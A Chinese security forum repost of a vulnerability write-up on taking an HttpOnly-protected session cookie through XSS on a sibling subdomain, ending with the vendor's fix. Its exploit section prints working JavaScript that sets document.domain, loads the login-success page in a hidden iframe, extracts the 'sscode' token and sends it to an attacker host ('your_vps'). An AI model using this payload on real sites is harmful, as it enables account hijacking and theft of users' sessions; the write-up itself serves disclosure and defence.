安全矩阵

 找回密码
 立即注册
搜索
查看: 2238|回复: 0

通过XSS跨子域拿到受HttpOnly保护的Cookie

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-6-22 13:43:58 | 显示全部楼层 |阅读模式
原文链接:通过XSS跨子域拿到受HttpOnly保护的Cookie
​  
0x01 介绍
跨子域:
因为浏览器同源策略的关系,只有同协议、域名、端口的页面才能进行交互,否则会被浏览器拒绝。现有两个页面,分别为111.example.com和example.com,两个页面是不同的域名,不能进行交互,但是可以在111.example.com使用以下代码设置同域,这样即可实现一个跨子域的交互。

document.domain="example.com"

HttpOnly:
简单来说就是给Cookie增加一层保护,document.cookie不会返回设置了HttpOnly的Cookie。

0x02 漏洞细节
首先通过F12查看得知关键的Cookie sscode设置了HttpOnly。


那么这个sscode肯定是登录之后服务器下发给客户端的,那么走一遍登录流程看看有没有缺陷。

输入账号密码点击登录


通过Set-Cookie给客户端下发sscode


跳转到登录成功的页面


注意到在此之后又发送了一个数据包,其中带了sscode(此图是修复后的,sscode经过加密了)


那这个请求是从哪儿发出来的呢?注意到请求头中的Referer。
Referer: http://www.exmaple.com/user/logi ... rname=&next=%2F

来自登录成功页面,没有X-Requested-With头,那么应该就是通过某个html标签的src属性值发出来的请求,前往登录成功的页面进行确认。

搜索sscode定位此script标签,可看到确实是通过src属性值发出来的请求。


那么可以通过同域的Xss漏洞来获取登录页面的响应内容,再提取出其中的sscode。

登录页面是如下链接
http://www.exmaple.com/user/login_success.php

一开始看域名为www.example.com,想着找一个www.example.com的Xss就可以了,但是找了一圈没找到。后面用document.domain查看登录成功页面所属于的域为example.com,那就意味着可以通过任意一个子域的Xss来跨子域获取受HttpOnly保护的sscode。

通过搜索语法site:example.com找到一处Xss,编写exp如下。
  1. document.domain = 'example.com'; //设置同域
  2. var iframe = document.createElement("iframe");
  3. iframe.src = "http://www.example.com/user/login_success.php";
  4. iframe.style="width:0%;height:0%;"; //设置不可见 隐蔽性高
  5. document.body.appendChild(iframe);
  6. iframe.onload = function(){
  7.   var content = iframe.contentDocument || iframe.contentWindow.document; //获取iframe页面的内容
  8.   var scr = content.getElementsByTagName('script'); //拿到所有script标签
  9.   var str = scr[3].src; //带sscode的script标签
  10.   var re = /%22sscode%22%3A%22(.+)%22%2C%22cookie_expire/; //正则表达式
  11.   //alert(str.match(re)[1]);
  12.   var sscode = str.match(re)[1]; //拿到sscode
  13.   var image = new Image();
  14.   image.src = 'http://your_vps/' + '?sscode=' + sscode; //将sscode传输出来
  15. }
复制代码

最后通过Xss加载写好的恶意Js文件,发送链接给受害者,只要其是登录的状态,打开了链接sscode就会被盗取。

0x03 修复方案
这个漏洞根本的原因就在于把sscode给泄露到登录成功的页面中了,最好的修复方案当然就是不要泄露在页面当中,厂商因业务需求,不能不放到页面中,修复方案为对其进行加密。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 06:51 , Processed in 0.014407 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表